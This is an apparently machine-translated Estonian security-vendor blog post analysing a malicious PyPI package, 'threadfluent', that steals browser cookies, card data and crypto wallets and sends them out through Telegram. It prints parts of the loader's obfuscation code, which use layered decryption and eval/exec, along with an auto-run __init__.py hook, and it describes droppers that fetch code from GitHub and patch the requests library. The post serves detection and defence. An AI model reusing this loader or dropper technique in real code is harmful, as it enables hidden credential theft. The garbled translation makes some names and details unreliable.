infostealer-malware-threadfluent-code-obfuscation

Mitmeastmelise infovarastaja pahavara paketi lahkamine

Pythoni pakett niitvoogev, mis avastati PyPI-st, on identifitseeritud kui pahatahtlik, mis sisaldab tavapärast infovarastuspahavara. Selle iseloomulikuks tunnuseks on aga täiustatud koodi hägustamise tehnikate kasutamine, mis varjavad selle kasulikku sisu, muutes analüüsi eriti keeruliseks. See pahavara kasutab oma rünnakuahelas iteratiivselt kolme hägustamise kihti, luues olulisi takistusi käsitsi dekonstrueerimisele.

Meie pahavara varajase hoiatamise meeskond teatas paketist PyPI turvameeskonnale, kes selle kiiresti eemaldas. Selles artiklis selgitame etappe niitvoogevrünnakut ja meetodeid, mida see oma eesmärgi varjamiseks kasutab, keskendudes sellele, kuidas infovaras pahavara ja koodi hägustamine koos toimivad.

Spikker: Infostealer pahavara ja koodi hägustamine

Mis on Infostealer pahavara?

Infostealer pahavara tegutseb teie digimaailmas nagu salakaval varas. See haarab vaikselt tundlikku teavet, näiteks teie paroole, krediitkaardi numbreid või isikuandmeid, ilma et te seda märkaksite. Need programmid salvestavad teie sisestatud teksti (klahvilogimine), kaaperdavad teie brauseri või skannivad teie seadmes olevaid faile väärtuslike andmete kogumiseks. Kõige hirmutavam osa? Nad on suurepärased selles, et jäävad radari alla.

Hägustamine Kihid lõimeFluent Infostealer Pahavara

1. Kolmekordne krüptimine

Hägustamisprotsess algab tugevalt krüpteeritud kasuliku koormusega, mis on lisatud fluent.py fail. Esialgse kodeerimise ja dekrüpteerimise protsessi saab kokku võtta järgmiselt:

encoded_data = base64_module.b64decode("... BASE-6 with encrypted payload, IV and RSA-encrypted keys…”); # … Sequential decryption: ChaCha20, Blowfish and AES … encrypted_payload = AES_Cipher.new(aes_key, AES_Cipher.MODE_CBC, iv=aes_iv).decrypt(encrypted_payload[16:]) final_payload = unpad_function(encrypted_payload, AES_Cipher.block_size) exec( zlib_module.decompress(bz2_module.decompress(final_payload)) ) 

See hägustamisprotsess hõlmab järgmist:

  • KokkusurumineKasutades gzipi ja bzipi.
  • Sümmeetriline krüptimineAheldatud krüptimine ChaCha20, Blowfishi ja AES-iga.
  • Asümmeetriline krüptimineRSA-d kasutatakse sümmeetriliste võtmete krüptimiseks.

Tulemus kodeeritakse Base64-vormingus ja lisatakse kujul kodeeritud_andmedIga iteratsioon tugineb eelmisele, luues pesastatud krüpteerimisstruktuuri, mis muudab tegeliku kasuliku koormuse paljastamise ilma pöördprojekteerimiseta erakordselt keeruliseks.

 

2. Gzip-i dekompressioon

Paljudes vaheetappides kasutab pahavara lihtsat, kuid tõhusat hägustamismeetodit: Gzip-tihendust koos Base64 kodeeringuga. 

import base64, zlib; eval(zlib.decompress(base64.b64decode(<STR>).decode('utf-8')) 

See tehnika tagab, et hägustatud kasulik koormus jääb kogu etapi vältel varjatuks.

3. Koodi liitmine ja dünaamiline kompileerimine

Viimane kiht hõlmab hägustatud kasuliku koormuse jagamist mitme muutuja vahel, mis dünaamiliselt liidetakse ja dekodeeritakse täitmise ajal:

import base64, zlib  FEQXCBDOZKHVIhT = '...' # ....(111 other variables with base-64 encoded values) ...  zZytWuvuEdBXSrO =   eval(<FEQXCBDOZKHVIhT' encoded with '\x>) +   eval(<next variable, encoded>) +   eval( ' zlib.decompress(base64.b64decode(<VAR>)).decode('utf-8') ') + ...  eval(compile(base64.b64decode(eval(zZytWuvuEdBXSrO)).decode('utf-8'), ‘<app>', 'exec')) 

See etapp on käsitsi pöördprojekteerimiseks eriti tülikas, kuna iga muutuja tuleb järgmise kasuliku koormuse paljastamiseks dekodeerida ja uuesti kombineerida.

Neid hägustamistehnikaid kombineerides infostealer pahavara in niitvoogev väldib avastamist, näidates esile kriitilist rolli Koodi hägustamine tänapäevastes küberrünnakutes.

ThreadFluenti mitmeastmeline rünnakuahel

. niitvoogev infostealer pahavara koosneb neljast erinevast etapist, millest igaüks toob kaasa täiendavaid kihte Koodi hägustamineNeed etapid mitte ainult ei edasta kasulikku koormust, vaid kaitsevad seda ka tuvastamise ja analüüsi eest.

infostealer-malware-code-obfuscation-threadfluent

0. etapp: koodi esialgne käivitamine

Sisenemispunkt on __init__.py fail, mis käivitab hägustatud kasuliku koormuse täitmise fluent.pySee fail kasutab 1. etapi tilguti loomiseks mitmekihilist hägustamist (nagu on kirjeldatud etappides 1–3):

import os,threading def main():     if os.name == 'nt':         from . import fluent         fluent.main()          thread = threading.Thread(target=main , daemon=True) thread.start() 

1. etapp: esialgne tilguti

Pärast hägususe kõrvaldamist laadib esimene dropper alla ja manustab täiendavat pahatahtlikku koodi, puts.py, GitHubi repositooriumist Punaste juustega varred-1337/repuests (hoiatus: siin võib olla pahatahtlik kood). 

Tilguti sissepanek puts.py populaarse kohalikku installatsiooni Taotlusi raamatukogu, muutes selle __init__.py fail deobfuskatsiooni käivitamiseks ja järgmise etapi täitmiseks. See deobfuskatsioon seisneb paljude hägustuskihtide 1 … 3 rakenduste tagasipööramises.

2. etapp: Teine tilguti

Teine tilguti, kui see on sama protsessi käigus defuskeeritud, laadib alla veel ühe kasuliku koormuse, ssl.py GitHubi hoidlast nimetab selle ümber järgmiselt udp.pyja genereerib lukustusfaili, et pahavara ei installitaks korduvalt uuesti. Seejärel käivitatakse see pahavara hägususe kõrvaldamiseks, mille tulemusel käivitatakse viimane infovarastaja kasulik koormus.

3. etapp: Viimane infovaras

Viimane etapp on täisfunktsionaalne infovaras, mis kasutab täiustatud vargustehnikaid:

  • Analüüsivastased funktsioonid:
    • Tuvastab pahavaratõrjetööriistu ja lõpetab töö, kui tuvastatakse mustas nimekirjas olevaid protsesse, IP-aadresse, hostinimesid või virtuaalseid keskkondi.
  • Andmete väljafiltreerimine:
    • Jäädvustab põhjalikku teavet. Alates IP-aadressist, Mac-aadressist, VPN-andmetest, brauseri küpsistest/ajaloo, krediitkaardiandmetest ja krüptorahakottide volitustest, sealhulgas ekraanipildi.
    • Saadab varastatud andmeid (krüpteeritult) Telegrami kanali kaudu, kasutades siin näidatud malli: 
infostealer-malware-code-obfuscation-threadfluent

Lihtsustatava hägususe strateegia

Sarnaste pakettide analüüsimiseks peavad teadlased süstemaatiliselt ümber pöörama selle hägususe kihid:

  • Hämamise jäljendamise sammud: Kirjutage skriptid, mis simuleerivad teisendusi (nt dekrüpteerimine, lahtipakkimine) ilma kasulikku koormust käivitamata.
  • Pöördkrüpteerimiskihid: Ekstraheeri ja dekrüpteeri kasulik koormus manustatud võtmete ja algoritmide abil.
  • Iteratiivne analüüs: Lõpliku kasuliku koormuse taastamiseks töötle iga vaheetappi iteratiivselt.

Selle analüüsi sujuvamaks muutmiseks on olulised automatiseeritud tööriistad ja liivakastikeskkonnad.

 

Kas soovite rohkem teada saada, kuidas reaalajas ohtudest ette jääda?

Laadige alla meie tehniline dokument „Varajane hoiatus: reaalajas ohtude tuvastamine ja prioriseerimine“ ning saage teada, kuidas oma tarkvara tarneahelat kaitsta.

Ohunäitleja

Ilmselt avaldati pakett kahelt PyPI kontolt, ABIRHOSSAI10 ja anomilano785, praegu eemaldatud. 

On olemas (praegu aktiivne) GitHubi konto nimega ABIRHOSSAI10, mis võib olla seotud kampaaniaga. Punapäised-shanks-1337 Analüüsitakse ka GitHubi kasutajat, kellele kuulub 2. ja 3. etapi kasulike koormuste allalaadimiseks kasutatava repositoorium.

Kuigi omistamine on alati keeruline ja punasesse meeskonda kuulumine on võimalik, vihjab väljafiltreeritud teabe liik ja maht pahatahtlikule tegutsejale.

Kokkuvõte: koodi hägustamise roll pahavara evolutsioonis

. niitvoogev Pakett on oma mitmeastmelise edastamisega näide tänapäevasest pahavara hägustamise meetodist. Koos kasutatavate kõrvalehoidumistehnikatega näitab see pakett selget püüdlust avastamise vältimiseks ja analüüsi takistamiseks.

See analüüs rõhutab koostöö ja automatiseeritud tööriistade olulisust selliste ohtude vastu võitlemisel. Neid meetodeid analüüsides ja mõistes saavad turvaspetsialistid tulevikus sarnase pahavara vastu paremaid kaitsemehhanisme välja töötada.

Kuidas Xygeni MEW-süsteem takistas pahatahtliku lõimevoogava paketi jõudmist tootmiskeskkonda

Xygeni oma Pahavara varajane hoiatus (MEW) süsteem oli peamine peataja niitvoogev Pythoni pakett, pahatahtlik sõltuvus, mis sisaldab täiustatud koodi hägustamine ja mitmeastmeline infostealer pahavara, enne kui see võiks tootmiskeskkondi kahjustada. Tee nii:

  • Tuvastamine staatilise analüüsi abil
    MEW märgatud niitvoogevpeidetud koodi, leides kahtlaseid märke nagu kihiline krüptimine ja ebatavaline sõltuvustegevus.
  • Käitusaja kättesaadavuse hindamine
     Süsteem leidis, et paketi kood võis kasutamise ajal käivituda, märkides selle tõsiseks ohuks ilma seda tegelikult käivitamata.
  • CI/CD Pipeline Kaitsmed
    MEW blokeeritud niitvoogev reaalajas, peatas selle kaasamise järkudesse ja takistas selle jõudmist tootmiskeskkonda. See saatis arendajatele tegutsemissoovitavaid teateid, säästes väärtuslikku aega.
  • Ohuandmete jagamine
    Xygeni teatas paketist kiiresti PyPI-le ja jagas oma leide oma globaalse turvavõrguga, peatades selle edasise leviku.

Püüdes kinni niitvoogev Alguses tagas Xygeni MEW-süsteem, et pahatahtlik kood ei kahjustaks tarkvara tarneahelaid ega CI/CD tööprotsesse.

Kaitse oma CI/CD Pipelines tasuta

Enneta selliseid ohte nagu niitvoogev Xygeni pahavara varajase hoiatamise süsteemiga. Alusta oma tasuta prooviversioon juba täna ja kindlusta oma tarkvara tarneahel.

Luis Rodríguezi pilt

Luis Rodriguez

Luis Rodriguez on füsioterapeut.cist + matemaatik ja CISSP. Praegu Xygeni Security kaasasutaja ja tehnoloogiadirektor. Tal on üle 20 aasta kogemust tarkvaraturbe valdkonnas ja ta on osalenud sellistes projektides nagu SAST ja SCAPraegu keskendub ta software supply chain security.

Daniel Martíni pilt

Daniel Martin

Daniel Martín on küberturvalisuse ekspert ja Xygeni uurimisturbemeeskonna liige, kes on spetsialiseerunud järgmistele teemadele: SDLC turvalisuse ja rakenduste haavatavuste leevendamine.

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga